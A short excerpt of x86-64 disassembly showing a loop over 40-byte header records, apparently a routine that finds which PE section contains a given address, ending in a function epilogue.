mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d5441
mov rax, qword [rbp - 8]
jmp 0x2fc4d545f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d5414
mov eax, 0
add rsp, 0x20
pop rbp
ret